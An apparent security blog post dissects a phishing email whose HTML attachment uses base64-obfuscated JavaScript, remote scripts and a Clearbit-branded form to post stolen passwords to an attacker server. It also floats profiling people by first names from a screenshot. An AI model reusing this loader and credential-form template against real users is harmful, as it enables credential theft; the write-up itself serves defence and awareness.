Phishing e-mails which are designed to steal credentials often depend on a user clicking a malicious link. The link then usually navigates to a website that mimics a login page for a valid service or web application. A phishing email that I received this week took a slightly different approach as the credential theft occurred in a self-contained html file rather than using a remote website.

This attack methodology isn’t new but alongside some other obfuscation tactics I thought it warranted a write-up so other organisations and internet users can be better prepared for identifying a similar attack.

The email

The email we received had no body, only an html attachment posing as an excel document…

csriskmanagement-997072_xls.html

…and the subject line

Overdué invoicé - TransPérfect - Invoicé

The first thing to note about this phishing email is the use of the accented é in the subject line as a way to circumvent mail filters that use keywords such as “Overdue” and “Invoice” to prevent phishing emails from landing in user inboxes. This is a fairly crude and easy to notice tactic and most of the mailboxes we tested correctly labelled this email as spam. However, there were exceptions so it is important to check that homoglyphs and unusual character variations are included in any keyword filtering.

There wasn’t much more to glean from the email but an analysis of the sender domain and email headers suggest that the email was sent from a compromised mailbox in Estonia.

TransPerfect has been common subject matter within phishing emails over the past few years. They suffered a data breach in 2017 when employee information was compromised in a phishing attack.

The Html Attachment

On opening the file in a text editor, there were two sections of JavaScript which looked suspicious.

Section 1

var vsebz=[876 charachter alphanumeric string];
document.write(atob(unescape(vsebz)));

If it is not apparent what is occurring in this section, vsebz is a long-ish, twice obfuscated string, which is then rendered by your browser after it has been decoded within the document.write() method.

In this instance it is fairly easy to decode the string; once using a base64 decoder and then a subsequent XML decoder. The resulting unobfuscated string points to a snippet of further code hosted at yourjavascript.com

http://yourjavascript.com/[11 character numeric string]/[9 character numeric string].js

This link contained further obfuscated JavaScript revealing two further document.write() methods. One method downloaded an image hosted by the attacker on imgbb and the other pointed to a separate yourjavascript.com page which contained the html that is rendered should we have have opened the attachment on our desktop.

Interestingly, the image may reveal some information about the attacker as it appears to be a screenshot taken from the attackers desktop. The foreground is a blurred spreadsheet designed to encourage a victim to insert credentials as you will see in the complete screenshot below. The excel user appears to be an individual called “Moshe”, which matches the initial in the outlook client in the background. At the very bottom of the image there is also evidence of correspondence with another user, “Lea”. Manual OSINT didn’t uncover anything helpful but perhaps developing a tool to scour social media for relationships between those two forenames could give you a shortlist of potential threat actors.

The image was reported to imgbb and taken down shortly after. This resulted in an “image not found” background in the browser when the attachment was opened. Hopefully this has made the attack easily identifiable as phishing for users who have a similar email lying in their inbox.

An analysis of the accompanying html on the second yourjavascript.com page shows that when myFunction() is executed there is an http post request made to a malicious server. There is a form within the html with a placeholder for a password which is sent to the server when the user submits the information. As of 17/11/2020 VirusTotal flags the URL as both phishing and malware using the CyRadar, Fortinet, Sophia and Kapersky engines.

... onload="myFunction()" ...
... action="http://www.tanikawashuntaro.com//cgi-bin/[alphanumeric string]/[alphanumeric string].php?[alphanumeric string]" method="post" enctype="multipart/form-data" ...

myFunction() is defined in section 2 of the original csriskmanagement-997072_xls.htmlfile.

Section 2

function myFunction() {
var ml = [base64 encoded string];
var logi = [base64 encoded string];
var ulb= atob(logi);
var go = atob(ml);
document.getElementById('mypic').setAttribute('src',ulb)
document.getElementById("myText").innerHTML = go;
document.getElementById('myvalue').value = go;
}

myFunction() is primarily used to brand the form and capture credentials that are typed into the form mentioned in section 1. You can see the full rendering of the form and the background image below.

Within this function there is also further obfuscation of JavaScript variables. The ml variable in this instance is the string “info@csriskmanagement.co.uk”. The logi variable is slightly more interesting as it abuses a legitimate marketing API from clearbit.com. The API can retrieve a company logo from a company domain which is intended to be used as a marketing tool.

https://logo.clearbit.com/csriskmanagement.co.uk

Using the above template a malicious attacker could create many branded, self-contained credential stealers by only changing a domain variable. A fully rendered image of the CS Risk Management credential stealer is below.

We informed Clearbit of our findings and recommended that the API should require authentication and also have appropriate rate limiting in place to help prevent abuses. Future monitoring of accounts was also recommended so that Clearbit could identify accounts which may be abusing their service for nefarious purposes.

This may help Clearbit’s API from being abused by malicious attackers but it is unlikely that the security community will be able to prevent the programmatic capture of company logos. Appropriate security training that highlights social engineering tactics is the best defence once an email has bypassed any technical protection.

Reccomendations

This report isn’t a new attack but highlights some security tips which we can all implement if we aren’t doing so already.

• Ensure your mail filtering solution is capable of handling homoglyphs
• Be wary of file extensions when viewing attachments
• Consider attachment types allowed to be received by e-mail and restrict if not required by the business
• Be mindful of sharing screenshots and video, sensitive information may be visible in the background
• If your organisation hosts an unauthenticated API or service then ensure you conduct routine audits to check for abuse
• Conduct routine security awareness training